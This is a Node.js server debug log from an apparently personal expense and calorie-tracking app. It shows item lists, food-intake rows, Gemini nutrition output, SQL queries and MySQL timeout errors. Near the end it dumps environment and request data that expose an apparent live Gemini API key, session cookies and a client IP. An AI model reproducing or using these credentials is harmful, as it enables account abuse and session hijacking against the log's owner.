    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-15T12:39:57.704Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-15T12:39:57.704Z server-connect:app Executing action step select
2025-12-15T12:39:57.704Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-15T12:39:57.705Z server-connect:output item_list: [
  {
    id: 390,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 1,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'N/A (supplement with specific purpose, generally low calorie)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Designed to enhance workout performance and focus. Generally low in calories and can be beneficial for intense training sessions for muscle development.'
  },
  {
    id: 391,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries - lower sugar and calories),Apple,Orange',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for immediate energy, potassium, and other micronutrients. Ideal for pre or post-workout fuel to support muscle development and recovery.'
  },
  {
    id: 392,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat Flatbread)',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 72,
    fat_gm: 4,
    quantity: '4 pieces (approx 200g cooked weight)',
    replacements: 'Brown rice (complex carbs),Quinoa (complex carbs, higher protein),Oats (complex carbs, good fiber)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'A staple source of complex carbohydrates, providing sustained energy for daily activities and intense workouts. Essential for replenishing muscle glycogen stores for muscle growth.'
  },
  {
    id: 393,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Aalo Sabji (Potato Curry)',
    calories: 280,
    protein_gm: 4,
    carbs_gm: 40,
    fat_gm: 15,
    quantity: '1 serving (approx 200g)',
    replacements: 'Mixed vegetable sabji (more fiber, fewer calories from potatoes),Dal (lentil curry - higher protein, lower fat),Paneer sabji (for higher protein intake)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Provides carbohydrates from potatoes and some healthy fats from cooking, contributing to energy needs. Can be made healthier by reducing oil content and adding more non-starchy vegetables.'
  },
  {
    id: 394,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Gulab Jamun',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 30,
    fat_gm: 8,
    quantity: '1 piece (approx 40g)',
    replacements: 'Fresh fruit (e.g., berries, apple),Small piece of dark chocolate (70%+ cocoa),Greek yogurt with a touch of honey (higher protein, lower sugar)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 3,
    skip_reason: 'This dessert is high in refined sugar and unhealthy fats from deep frying, providing empty calories with minimal nutritional value. It can lead to blood sugar spikes and contributes to excess calorie intake, which is counterproductive for muscle development and overall health goals.'
  },
  {
    id: 395,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Buttermilk',
    calories: 76,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 2,
    quantity: '1 glass (approx 200ml)',
    replacements: 'Plain water,Unsweetened herbal tea,Diluted yogurt (without added sugar)',
    created_at: '2025-12-15T00:10:59.000Z',
    skip_level: 1,
    skip_reason: "Buttermilk (Chaas) is an excellent source of hydration, probiotics, and lean protein, especially if made from skimmed or low-fat curd. It's low in calories and supports digestion, which is beneficial for muscle development and overall gut health for someone with a desk job and active lifestyle."
  },
  {
    id: 396,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 120,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 cup (240ml, assuming toned milk)',
    replacements: 'Black tea (zero calories),Green tea (zero calories),Herbal tea (zero calories),Tea with unsweetened almond milk (lower calories, often lower protein)',
    created_at: '2025-12-15T05:27:34.000Z',
    skip_level: 1,
    skip_reason: 'Provides protein, calcium, and hydration without added sugar. The protein content from milk can be beneficial for muscle development. Opting for toned/low-fat milk further manages fat intake.'
  },
  {
    id: 397,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Vada Pav',
    calories: 600,
    protein_gm: 16,
    carbs_gm: 70,
    fat_gm: 30,
    quantity: '2 pieces',
    replacements: 'Whole wheat paneer or chicken sandwich,Moong dal cheela with vegetables,Sprouts salad with boiled eggs',
    created_at: '2025-12-15T07:09:56.000Z',
    skip_level: 3,
    skip_reason: 'Vada Pav is a deep-fried item made with refined flour (pav), making it high in unhealthy fats and simple carbohydrates. While it provides calories, it offers limited nutritional value (micronutrients) and can contribute to unwanted fat gain, which is counterproductive for muscle development when cleaner fuel sources are available.'
  },
  {
    id: 398,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Max Protein RiteBite Bar',
    calories: 145,
    protein_gm: 10,
    carbs_gm: 15,
    fat_gm: 5,
    quantity: '1 bar',
    replacements: 'Boiled egg (approx. 70-80 cal, 6g protein),Small serving (100g) of Greek yogurt (approx. 60-100 cal, 10-15g protein),Handful of almonds (approx. 10-12 pieces, 80-100 cal, 3-4g protein)',
    created_at: '2025-12-15T07:09:56.000Z',
    skip_level: 1,
    skip_reason: 'This protein bar is a convenient source of protein and provides a quick energy boost, which is beneficial for muscle repair and growth, especially around your gym sessions. While processed, it serves its purpose well for a muscle development goal.'
  }
]
2025-12-15T12:39:57.706Z server-connect:app Executing action step setvalue
2025-12-15T12:39:57.706Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-15T12:39:57.706Z server-connect:output var_total: 1886
2025-12-15T12:39:57.706Z server-connect:app Executing action step setvalue
2025-12-15T12:39:57.706Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-15T12:39:57.706Z server-connect:output var_consumed: 79
2025-12-15T12:39:57.706Z server-connect:app Executing action step setvalue
2025-12-15T12:39:57.706Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-15T12:39:57.706Z server-connect:output var_deficit: 514
2025-12-15T12:39:57.706Z server-connect:app Executing action step custom
2025-12-15T12:39:57.706Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-15T12:39:57.707Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '1886',
    surplus_or_deficit: '514',
    status_flag: 1
  }
]
2025-12-15T12:40:23.843Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-15T12:40:23.843Z server-connect:app Executing action step identify
2025-12-15T12:40:23.843Z server-connect:app options: { provider: 'security' }
2025-12-15T12:40:23.843Z server-connect:output identity: 1
2025-12-15T12:40:23.844Z server-connect:app Executing action step restrict
2025-12-15T12:40:23.844Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:40:23.845Z server-connect:output restrict: undefined
2025-12-15T12:40:23.845Z server-connect:app Executing action step processWithGemini
2025-12-15T12:40:23.845Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-15T12:40:40.017Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Idli Sambhar',
      quantity: '3 pieces of Idli, 1 serving of Sambhar (approx 135g Idli, 180g Sambhar)',
      total_calories: 280,
      protein: 12,
      carbs: 50,
      fat: 5.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'A well-balanced and nutritious meal. It provides complex carbohydrates for sustained energy required for your desk job and early morning gym sessions, good quality protein from the dal (lentils) for muscle recovery and growth, and essential vitamins, minerals, and fiber from the vegetables in sambhar. The fermentation process of idli also aids digestion.'
    }
  ],
  total_macros: { protein: 12, carbs: 50, fat: 5.5, unit: 'g' },
  overall_recommendation: "Idli Sambhar is an excellent choice for your lifestyle. It delivers the necessary energy for your desk job and intensive gym workouts, while also contributing to muscle development with its protein content. It's a wholesome meal that aligns well with your fitness goals. Consider pairing it with a side of plain yogurt or a small amount of lean protein like a boiled egg for an even higher protein boost if desired, especially on days with more intense workouts."
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 13:05:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 13:05:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 13:27:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 13:27:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 14:20:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 14:20:46' as DATETIME)"
}
2025-12-15T16:14:22.129Z server-connect:router Serving templateView /
2025-12-15T16:14:22.131Z server-connect:app Executing action step identify
2025-12-15T16:14:22.131Z server-connect:app options: { provider: 'security' }
2025-12-15T16:14:22.131Z server-connect:output identity: 1
2025-12-15T16:14:22.131Z server-connect:app Executing action step restrict
2025-12-15T16:14:22.131Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T16:14:22.133Z server-connect:output restrict: undefined
2025-12-15T16:14:22.133Z server-connect:app Executing action step restrict
2025-12-15T16:14:22.133Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T16:14:22.134Z server-connect:output restrict: undefined
2025-12-15T16:14:22.134Z server-connect:router Render template layouts/main
2025-12-15T16:14:22.134Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '157.48.252.221',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.252.221',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
